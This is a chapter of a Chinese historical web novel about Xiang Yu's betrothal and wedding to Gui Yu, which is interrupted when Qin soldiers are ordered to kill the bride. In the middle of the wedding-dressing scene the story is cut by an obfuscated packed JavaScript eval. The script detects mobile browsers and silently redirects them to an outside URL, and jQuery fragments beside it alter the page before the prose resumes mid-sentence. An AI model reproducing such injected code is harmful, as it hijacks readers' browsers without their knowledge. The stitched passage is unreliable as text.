飨完田间劳作的丁壮,妫虞和叔虞原路返回,一个项氏子弟挤到项羽身边,打趣道:“你什么时候跟虞家的女子成婚啊?”
项羽斜了一眼那半大少年,“婴,你现在连我都敢管了?”项婴笑了下,“岂敢,只是好奇,还请兄长告知。”项羽想了想,故作玄虚道:“这样吧,收完稻子我就成。”
“真的?”
“君子一言千金。”
“快快快,快割麦子!”项婴立刻招呼身后人的道,他身后的项声不解,“为什么?我很累了。”
“阿兄说割完稻谷他就去成亲。”
“哇!”项声立刻将这消息传给了周围的人。
项羽割完稻谷就要去跟小虞阿姊成婚的好消息不胫而走,涟漪般在整片稻田中传开。
周殷也从邻近人口中听到了这一消息,他笑了下,直起腰,冲项羽高声喊道:“得了吧,子羽,我妹妹说要嫁给你了吗?你问过我妹妹了吗?”
跟在他身边扎稻谷的周兰也道:“对呀对呀,我阿姊还没答应呢。”
项羽回头看了周氏兄弟一眼,将双手举到嘴边,大声朝妫虞离去的方向喊道:“小虞,你愿意嫁给我吗?”
山野尽头,传来一道带着笑意,无比坚定的声音,对方没有任何犹豫,“当然,子羽。”
“哈哈哈。”众人闻言,一时都笑出了声。
稻田里收割庄稼的人被他们一来一回的声音吸引,从田地中直起腰,笑着看向两人。
项羽望着远处的妫虞,妫虞亦看向项羽的方向,两人相视而笑。
项梁和虞仲良各自看向自家的孩子,无奈摇头。
孩子长大了,都要各自组建家庭。
仲父没有反对,他终于决定做楚人,不是他想起了故国,而是他发现秦人其实并不好当,春季的时候,朝廷就曾征调过一次民夫修筑骊山帝陵,入夏后,征伐徭役的命令再次下发。
粮食不是天上掉下来的,是人种下去,而后从地里长出来的,什么时候长什么粮食,是固定的,不以人的意志改变。没有粮食,就会饿死,不去服徭役,始皇帝陵就无法完工。
皇帝的旨意,一道比一道有远见,但这些工事,并不由他自己完成,而是由这些民夫,一砖一瓦,一滴一滴汗水垒起,依骊山而建的庞大帝陵让君王死后依旧能如生前奢华,而那些民夫依旧卑贱如尘埃。
民力实在不够,短缺的空额,只能由基层小吏补上,耽误了工事,就不仅仅是自费服徭役的事情,轻则罚款,重则沦为囚徒。
不惜一切代价要完成工事,他们就是那些代价。
徭役即将落到他本人头上,仲父立刻‘迷途知返’了。
他当秦人,是为了好日子,为了能安安生生的种地,否则,他为什么要抛弃和他有同样文化、同样血缘的大楚呢?
但好在,吴县人口众多,县中征发够了服徭役的人数,就不由小吏凑数。
仲父接受了项氏的求婚,婚期被放在秋季。
所谓‘秋以为期’,是指丰收之后,生存问题被解决,才会有时间思考下一个‘繁衍’的人生课题,人们忙完地里的农活,才有空闲举办婚礼。
仲父将晾干的稻谷收入仓库,取出将近一半交税,从剩下的另一半中,取出部分拿到市上售卖,与人换了新的布匹。大仲母去世后,家中无人再纺织,需要布帛,只能向外购买。
用来做婚服的白绸颜色未经染色,微微发黄,小仲母命妫虞的姊妹们采来茜草,在洗干净的石臼舂碎,作为染色的原材料。嫁衣的红色并不好染,妫虞坐在织室,看着出嫁的、未嫁的姐妹和前来帮忙的邻居妇人一遍一遍将白绸浸入染缸,又拧干、漂洗,再染色。
即将出嫁的女子不再从事劳作,而是待在屋中,修习一些别的东西,比如,如何斡旋丈夫和长辈、同辈、晚辈的关系,如何御下,如何处理自己和丈夫的关系。
这门情商课的教导老师是妫虞的生母,伍夫人。
“女子离开家嫁到别家,根基不深,是最弱的时候,这时候更要隐藏锋芒,以待来日。”
妫虞想了想,问道:“难道不应该先杀鸡儆猴,给人一些颜色瞧瞧,让他们不敢欺负我吗?”
人,都是欺软怕硬的。
“你阿父阿兄们若是还在世,你自然可以如此。”提到阿父阿兄,伍夫人的口气不由染上几分哀伤,“强者和弱者,有自己不同的生存方式,阿母只是教给你其中一种,你要懂得变通。”
“如果境况利于自己,当然要树立威严,如果境况不好,就要以待来日。”
“一时退缩不是软弱,而是张弛有度。在乡间,有一种花叫做菟丝子,看起来柔弱,却能绞杀大树。菟者,虎也。样子默默无闻,才能消解别人的防备,于无声之处,给它致命一击。”
妫虞眨了下眼睛,心想果然是亲妈。
茜草染成玄纁婚服的纁,玄色则由来自于五倍子、栎实,染完嫁衣,众人又染起别的布帛,开始缝制起新妇出嫁的陪嫁新衣,木蓝的叶子、蓼蓝的花朵将布匹染成蓝色,栀子、槐米染出一抹淡黄。
女子们分工明确,舂捣的舂捣,染色的染色,搅拌的搅拌,稍微年长的中年妇人合力抬起硕大的木盆,将染过色的布帛拿到河边漂洗,用力拧干,抖开,晾晒在早支起的竹竿上。
夏日阳光明媚,金色的阳光照亮一块块颜色柔和的布帛,女子们杂站布帛附近,嬉笑不已,微风吹起她们鬓边碎发,妫虞望着面前一张张笑颜如花的年轻面庞,不自觉也笑了。
半个晴日过去,布帛干透,锋利的剪刀一路往前,轻松剪出贴合妫虞身材的尺寸,对于,邻家老媪表示——我的眼睛就是尺。
女眷们在家缝纫,仲父则带着堂兄弟们出门入山林伐木,木头被砍去枝丫,竖在院墙一周晾晒,估摸着树砍得差不多了,仲父则去请村中的木匠上门,央他为即将出嫁的从女打造家具。
妫虞见那匠人虽然少了一条腿,但干起活来十分利索,他一边干活,一边给自己的两个儿子兼学徒示范,三人哼哧哼哧干活,手中刨子推出满院木屑,木头的香气绕屋不散。
便宜大哥周殷带着和自己相熟的几个同族兄弟入山打猎,打下猎物,送到皮匠处,请他将皮毛鞣制成‘熟皮’。
新打的动物生皮上带有油脂,具有动物气味,必须将“生皮”进行“硝皮”处理,硝制好的毛皮手感爽滑、皮质牢固,毛色如缎,是制作成衣的上乘之选。
秦汉没有棉花,冬日寒冷,需得兽皮御寒不可。
女方这边忙上忙下,男方那边也没有闲着,不管是古代还是现代,结婚都必须要房子,新婚的夫妇需要单独的房屋居住,项梁召集宾客子弟,在原本居住的房屋旁,为二人再起一屋。
精心筛过的黄泥一筐筐被担到划定的位置,众人用各种工具将黄土夯实,这才是房屋的地基,四根柱子撑起房屋基本框架,项梁指挥着子弟宾客,一点点用木头将屋子的细节拼凑出来。
婚礼在黄昏举行,伍夫人与两个头发花白的老媪为妫虞穿上玄纁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092630|195497||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,梳好头发,单独留一束,以丝绳单独系好,重新归入发髻。伍夫人叮嘱道:“这丝绳需得新郎亲自摘下。”
“好。”妫虞有些紧张,一紧张,她话就少了。
新郎和傧人手执火把,驾着两辆车来到虞氏,经过一系列考验后,终于接到新娘,妫虞被老媪搀扶上婚车,项羽亲自为她驾车,周殷与周兰翻身上马,一左一右护送新娘出嫁。
乐人吹奏起欢快的乐曲,宾客邻人欣喜跟上婚车,孩童们跟着乐人的乐声,唱起歌来,“筑室兮水中,葺之兮荷盖;荪壁兮紫坛,播芳椒兮成堂;桂栋兮兰橑,辛夷楣兮药房;罔薜荔兮为帷,擗蕙櫋兮既张;白玉兮为镇,疏石兰兮为芳;芷葺兮荷屋,缭之兮杜衡。合百草兮实庭,建芳馨兮庑门。【1】”
天色昏暗,但虞氏与项氏皆是灯火通明,黑暗中,一只手伸出,按下眼前树枝,嬴玥冷峻的面容在月光下铁青,泛着寒光。
如果说,最初她只是怀疑楚地有人想依葫芦画瓢,炮制东郡落石一事,借鬼神行事,但在暗中观察过那巫女一点时间后,她的想法就变了,这个巫女,比她预想的更具破坏性。
没有人比司巫家族的继承人更了解先祖的来历,当年先祖走过的路,她不能让这个人再走一遍,尤其,她现在的身份是楚人,她还要嫁给项羽。
“湘水二妃曾对始皇帝不敬,楚巫虞姚供奉二妃,罪当不敬......”
大不敬,是该枭首的重罪。
隐藏在黑暗中的虎贲静静等待着那道命令,但那道声音久久没有落下,他们只能按捺下内心建功的冲动,等候着指令。嬴玥望着灯火通明,一时踌躇,良久,她轻声道:“杀无赦。包庇者,一律同罪。”
她的声音刚落下,全副武装的虎贲便冲了出去。
马车陡然停了,车中妫虞猝不及防,险些撞上了车壁,车门旋即被打开,车外火把照亮项羽神情严肃的脸,他朝妫虞伸手,“先跟我走。”
妫虞一愣,当即将手伸了出去,项羽将她抱下马车,出了马车,妫虞隐约看见不远处两支秦军对峙,护送婚车的虞、项、周子弟宾客也都拔剑在手,集成防御阵型,提防的望着不远处的两支秦军。
眼前情况令人匪夷所思复杂,一时也没人知道到底是什么情况。
“从叔【2】,你先回家,护送叔祖离开。”那个和项羽年纪相仿的年轻人站了出来,镇定指挥道。从他对项梁的称呼,可见这小子的辈分很低,但他敢站出来发号施令,他的身份绝对不会低。
这个‘大侄儿’猜测秦军可能是为了抓通缉犯项梁而来。
凑上前打探消息的人小跑回来,将‘大侄儿’的猜测推翻,“新妇快走,他们是来抓你的。”
“啊?”妫虞指着自己,茫然道:“抓我?”
“对,快跑啊,愣着干什么!”那人催促道。
“这么多秦军,焉知全是为新妇而来,从叔,是叔祖重要还是新妇重要?”‘大侄儿’质问道。
众人纷纷看向项羽,‘叔父’和‘老婆’同时掉水里,你救谁?
留给他思考的时间并不多,几乎等同于没有,项羽抬眸,冷厉的目光扫过那个年轻人,垂眸间,就已经做出了决定,他转过头对妫虞道:“你跟着庄走,到时候我们在安全的地方会合。”
妫虞点头,项羽看向项庄,项庄脸上的表情复杂的像是老戏骨,似哭似笑,“阿兄.....”
他真的快哭了。
妫虞‘啧’了声,“哭丧着脸干什么,走啊!”